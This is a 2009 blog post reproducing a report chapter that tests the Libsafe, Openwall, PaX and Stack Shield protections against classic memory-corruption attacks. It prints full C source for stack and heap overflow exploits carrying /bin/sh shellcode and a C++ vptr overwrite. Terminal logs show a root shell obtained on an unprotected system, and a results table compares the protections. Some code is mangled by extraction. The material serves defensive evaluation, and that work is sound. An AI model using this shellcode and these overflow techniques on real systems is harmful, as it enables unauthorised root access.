Thursday, December 3, 2009

Tests: protection and performance Chapter 10 Protection efficiency

In order to test various protection methods, we have tested a few exploits on our system. The choosen protections are respectively Libsafe, Open Wall, PaX and Stack Shield.

10.1 Exploits

We intend to see how our system behaves when it faces stack and heap overflows. We use simple exploits to perform these tests.

10.1.1   Stack overflow

We will use only one exploit to test stack attacks : stackl is a program belonging to root, with a SUID bit, and provides a root shell. The shellcode is obtained by overflowing a local variable.

#include <stdio.h> #include <string.h>

/* Code to execute: */ char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

int main(int argc, char *argv[]){

char buffer[96]; /* buffer to overflow */ int i;

long *long_ptr = (long *)large_string;

for (i = 0; i < 32;

*(long_ptr + i) = (int)buffer; for (i = 0; i < (int)strlen(shellcode);

large_string[i] = shellcode[i]; strcpy(buffer, large_string); return 0;

}

How does it work ? In the first loop, large-string is filled with four-byte words containing the address of the buffer to overflow (buffer). In the second loop, the shellcode is copied into largestring. At this stage, largestring consists of shellcode + address of buffer. Then the vulnerable function strcpy is called. When the main returns, the instructions in buffer will be executed, because the return address has been previously overwritten, and now contains a pointer to buffer.

The SUID bit and the root ownership of the binary are only a way to show how dangerous it may be, we mainly focus on the overflow here.

10.1.2   Heap overflow Heap and malloc

The first program we will use to test heap overflow exploits (heap!) is based on the same principle as stack1 and provides a shell root too. The difference is that we smash a malloc'ed variable:

#include <stdio.h> #include <stdlib.h>

int main(int argc, char **argv){ int *ret;

char *shellcode = (char*)malloc(64);

sprintf(shellcode,

M\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" M\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh");

*((int*)&ret+2) = (int)shellcode; return 0;

}

Some memory is allocated in the heap, the shellcode is copied there, and the return address of the main is overwritten (by *((int*)&ret+2) = (int)shellcode;) to point to the shellcode address. When main returns, it provides a shell.

C++ and VPTR

The second exploit (heap2) is coded in C++ and is based on a vitrual pointer attack:

#include <stdio.h> #include <string.h> #include <malloc.h>

class A{ private: char str[32];

public:

void setBuffer(char * temp){strcpy (str, temp);} virtual void printBuffer(){printf("%s\n", str);}

};

// This is very theorical but we only want to test the concept

char * buildBuffer (unsigned int bufferAddress, int vptrOffset, int numberAddres s) {

char * outputBuffer;

unsigned int * internalBuffer;

unsigned int offsetShellCode = (unsigned int)vptrOffset - 1; int i=0;

outputBuffer = (char *)malloc(vptrOffset +4+1); for (i=0; i<vptrOffset; outputBuffer[i]='\x90'; internalBuffer = (unsigned int *)outputBuffer;

for (i=0;i<numberAddress;i++) internalBuffer[i]=bufferAddress + offsetSh

ellCode;

*(unsigned int *)&outputBuffer[vptrOffset]=bufferAddress; outputBuffer[offsetShellCode] = '\xCC'; outputBuffer[vptrOffset+4] = '\x00';

return (outputBuffer);

}

int main (void){

A *a1;

a1 = new A;

a1->setBuffer(buildBuffer((unsigned int) &(*a1), 32, 4)); a1->printBuffer(); return 0;

}

Our A class is very simple as it contains a (private) buffer, and two (public) methods, to write into this buffer and print its content. The buildBuffer function aims at creating a corrupted string which will launch a trap interruption (more details about the vptr may be found in the first chapter). This means that instead of printing a classical string, we will execute the shellcode when calling a1->printBuffer(). We just have a much more basic shellcode than before, as it is a one-byte instruction, \xCC.

10.2 Execution 10.2.1   Zero protection

On an unprotected system (2.4.17 Kernel, no patch, no libsafe activation, traditional gcc compilation), our stack overflow exploit gives this result:

glaume@dante:~/Secu/Tests/Protection$ whoami glaume

glaume@dante:~/Secu/Tests/Protection$ ./stack1

sh-2.05a# whoami

root

sh-2.05a#

The attempt is also successful with the first heap overflow:

glaume@dante:~/Secu/Tests/Protection$ whoami glaume

glaume@dante:~/Secu/Tests/Protection$ ./heap

sh-2.05a# whoami

root

sh-2.05a#

The second heap overflow exploit execution shows a SIGTRAP, which means it is successful too:

glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap

As expected, this unprotected system is vulnerable to our basic exploits. 10.2.2 Libsafe

Libsafe should detect attacks based on vulnerable functions:

glaume@dante:~/Secu/Tests/Protection$ ./stack1 Detected an attempt to write across stack boundary. Terminating /home/glaume/Secu/Tests/Protection/stack1.

uid=1001  euid=0 pid=295

Call stack:

0x40018534 0x40018654 0x80484fc 0x4003c65a

Overflow caused by strcpy() Killed

glaume@dante:~/Secu/Tests/Protection$

This attack uses the strcpy function, that is why libsafe detects it. The overflow detection message is generated by Libsafe to specify:

• a general alert message and the involved program

• user and process information

• some stack information (return addresses)

• the implied function

Let us test how it behaves with our other exploits:

glaume@dante:~/Secu/Tests/Protection$ whoami glaume

glaume@dante:~/Secu/Tests/Protection$ ./heap

sh-2.05a# whoami

root

sh-2.05a#

glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap

None of these heap attacks takes advantage of a vulnerable libc function which is re-written by Libsafe, the exploits are successful.

10.2.3 Open Wall Kernel patch

We run the same tests:

glaume@dante:~/Secu/Tests/Protection$ ./stack1 Segmentation fault

glaume@dante:~/Secu/Tests/Protection$

The instructions of the shellcode have been placed in the stack; they cannot be executed. This Kernel patch does not provide any information here about the causes of the segmentation fault.

glaume@dante:~/Secu/Tests/Protection$ whoami glaume

glaume@dante:~/Secu/Tests/Protection$ ./heap

sh-2.05a# whoami

root

sh-2.05a#

glaume@dante:~/Secu/Tests/Protection$ ./heap2 Trace/breakpoint trap

Open Wall does not protect our system from execution of instructions located in the heap, that is why these exploits work well.

10.2.4 PaX Kernel patch

We expect a better protection this time:

glaume@dante:~/Secu/Tests/Protection$ ./stack1 Killed

Feb   9 16:25:00 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/stack1(stack1):333, uid/euid:  1001/0, EIP: BFFFFA9C, ESP: BFFFFB04 Feb   9 16:25:00 dante kernel: PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 0 7 89 46 0c b0 0b 89 f3 8d 4e

glaume@dante:~/Secu/Tests/Protection$ ./heap

Killed

Feb   9 16:25:10 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/heap(heap):335, uid/euid:  1001/0, EIP: 08049690, ESP: BFFFFB14

Feb  9 16:25:10 dante kernel: PAX: bytes at EIP: eb 1f 5e 89 76 08 31 c0 88 46 0 7 89 46 0c b0 0b 89 f3 8d 4e

glaume@dante:~/Secu/Tests/Protection$ ./heap2

Killed

Feb 13 11:32:43 dante kernel: PAX: terminating task: /home/glaume/Secu/Tests/Pro tection/heap2(heap2):387, uid/euid:  1001/1001, EIP: 08049CB7, ESP: BFFFFB20

Feb 13 11:32:43 dante kernel: PAX: bytes at EIP: cc 98 9c 04 08 00 00 00 00 b7 9 c 04 08 b7 9c 04 08 b7 9c 04

Both the stack and heap overflows are detected and prevented: no instruction from these memory areas is executed.

Provided information is:

• log message with timestamp

• program path, user id and effective id

• value of the instruction register

• value of the stack pointer

• bytes at the address pointed by the instruction register 10.2.5   Stack Shield

If we compile our three programs with the stack shield tools instead of the classical gnu compilers, we obtain three binaries that we test on an unprotected system. The result is very satisfying, as none of our exploits works. No debug information is available nor any log, as the exploit achievement is prevented directly at compile time, e.g not by an external system which detects an anormal behaviour at run-time.

10.3 Synthesis

In the table:

• V means our system is Vulnerable

• P means our system is Protected

Here is a sum-up of our tests:

 

No protection

Libsafe

Open Wall

PaX

Stack Shield

stackl

V

P

P

P

P

heapl

V

V

V

P

P

heap2

V

V

V

P

P

 

No comments:

Post a Comment